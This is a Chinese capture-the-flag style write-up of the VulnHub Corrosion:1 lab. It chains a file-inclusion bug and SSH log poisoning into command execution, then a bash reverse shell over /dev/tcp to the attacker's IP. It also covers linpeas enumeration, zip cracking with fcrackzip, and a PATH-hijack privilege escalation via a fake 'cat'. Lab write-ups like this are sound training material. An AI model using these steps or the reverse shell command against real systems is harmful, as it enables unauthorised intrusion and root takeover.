• vulnhub靶机corrosion1


    靶机下载地址:Corrosion: 1 ~ VulnHub

    Kail IP:192.168.174.128

    Corrosion ip:192.168.174.133

    思路:

    • 靶机端口扫描,
    • ssh日志反弹shell,
    • linpeas脚本扫描,
    • 备份文件发现密码,
    • 爆破zip压缩包,
    • 修改环境变量提权。

    一、信息搜集

    靶机ip发现

    nmap端口扫描

    目录发现,这里使用的是dirsearch,发现只有一个任务目录

    python dirsearch.py -u http://192.168.174.133

    查看task,发现作者留下的有三个挑战任务

    # Tasks that need to be completed

    1. Change permissions for auth log

    2. Change port 22 -> 7672

    3. Set up phpMyAdmin

    二、ssh日志反弹shell

    先做任务1,更改身份验证日志的权限

    这里使用的dirsearch字典不够用,没找到做题思路,这里使用gobuster进行扫描,使用的是seclists下的字典

    gobuster dir -u http://192.168.174.133 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

    seclists字典下载命令是apt-get install seclists

    gobuster下载;apt-get install gobuster

    如果不能下载就需要先更新apt-get update

    gobuster扫描结果如下

    这里就扫描到了另外一个目录,进入查看,发现这个人交randy

    这里再对192.168.174.133/blog-post/进行扫描

    在archives中发现一个php文件

    192.168.174.133/blog-post/archives/randylogs.php 发现什么都没有

    这里php可能存在文件泄露,这里来检测一下是否有文件泄露,使用ffuf来枚举参数

    ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.174.133/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

    这里介绍一下参数

    -c是彩色打印 -w是字典 -u是url -fs是不输出返回大小为0的值

    这里知道参数是file之后开始进行文件读取

    发现能读取/etc/passwd但是不能读取/etc/shadow

    根据我们的三个任务 第一个是auth.log

    这个文件是用来记录ssh登录的一个文件

    所在目录为/var/log/auth.log

    查看这个文件

    这里可以看到ssh登录的日志信息

    这里使用ssh一个任意名称进行连接,然后再去查看一下日志信息,看他的记录情况

    可以看到这里记录了我的登录名称和我的ip

    这里尝试写入一个恶意代码

    ssh ‘’@192.168.174.133

    密码直接回车报错就行

    查看日志文件

    192.168.174.133/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=id

    配合我们输入的一句话,变量名为cmd,输入id等于cmd进行命令执行查看当前用户

    发现有id指令的信息返回

    接着使用bash反弹shell

    bash -c "bash -i >& /dev/tcp/192.168.174.128/6666 0>&1"

    将命令进行url编码后进行访问

    192.168.174.133/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=bash -c %27bash -i %26%2Fdev%2Ftcp%2F192.168.174.128%2F6666 0>%261%27

    nc进行监听6666端口

    可以看到shell已经反弹

    三、提权

    查看有没有suid权限的命令

    find / -perm -u=s -type f 2>/dev/null

    发现有很多命令,先使用脚本来扫描一下

    这个脚本非常厉害,可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码,输出非常多,下载连接

    wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

    python开启服务,然后在靶机下载linpeas脚本开启扫描

    切换到tmp目录,wget下载脚本,chmod赋予执行权限

    开始扫描

    这里扫描到了一个cve提权漏洞,但是下载运行发现靶机不能使用make命令,所以没成功

    看了大福师傅的视频,想着自己扫到漏洞想自己做一下,看来还是得按着师傅的思路来

    这里查看var下的备份目录backups

    其中返现user压缩包  这里尝试解压失败,需要密码,python开启服务,下载到kali进行解压破解

    python3 -m http.server 8888

    下载后提取压缩包的hash

    可以使用john计算hash文件得到密码

    这里尝试john了但是真的好慢,还是使用专业的吧(所谓术业有专攻)

    也可以使用专门针对zip的的工具fcrackzip,使用的命令是

    fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip

    -D是使用自己的字典,-p是使用的字典 -u是要破解的zip压缩包

    速度非常快

    我们现在得到了密码

    使用unzip user_backup.zip

    解压缩得到三个文件,这里包括公钥和密码等

    查看一下c脚本

    尝试使用ssh登录,之前在博客主页发现姓名叫randy

    发现ssh登录使用不适用私钥都一样可以登录

    查看randy的权限

    查看一下这个easysysinfo

    发现是可执行文件,执行查看

    观察发现这些输出,刚好就是我们解压文件后得到的源码

    这里尝试修改环境变量替换cat

    命令:

    cd /tmp

    touch cat

    echo ‘/bin/bash -p’ > cat

    chmod u+x cat

    cat cat

    设置环境变量,优先加载tmp目录下的cat,不成功后再执行原来的cat

    export PATH=/tmp:$PATH

    查看环境变量,发现设置成功

    再次执行easyinfosys脚本

    这时候使用的cat就是我们写的tmp目录下在cat了

    发现已经变为root权限,切换到root目录,使用vim或者nano查看flag

    结尾推荐一下b站大福师傅的课

    再分析一篇在Linux中使用环境变量进行提权 - FreeBuf网络安全行业门户

    这个靶机的提权对应这个文章的方法三

    差不多一个月,从开始到入门,也是打了15台靶机了,这周写一篇总结,总结一下在vulnhub靶机中所学到的知识吧。

  • 相关阅读:
    C#实现一个万物皆可排序的队列
    p9 Eureka-搭建eureka服务
    Centos7配置NAT网络
    读书笔记--知识图谱基础概念与关键环节解析
    java.lang.reflect.Array功能简介说明
    php不解压zip,直接读取zip内容
    MySQL查询常见错误及其解决方法
    IMS架构中的注册与会话流程:RTPEngine集成及消息路由详解
    131、LeetCode-583.两个字符串的删除操作
    RocketMQ的消费流程及最佳实践
  • 原文地址:https://blog.csdn.net/weixin_52450702/article/details/127904781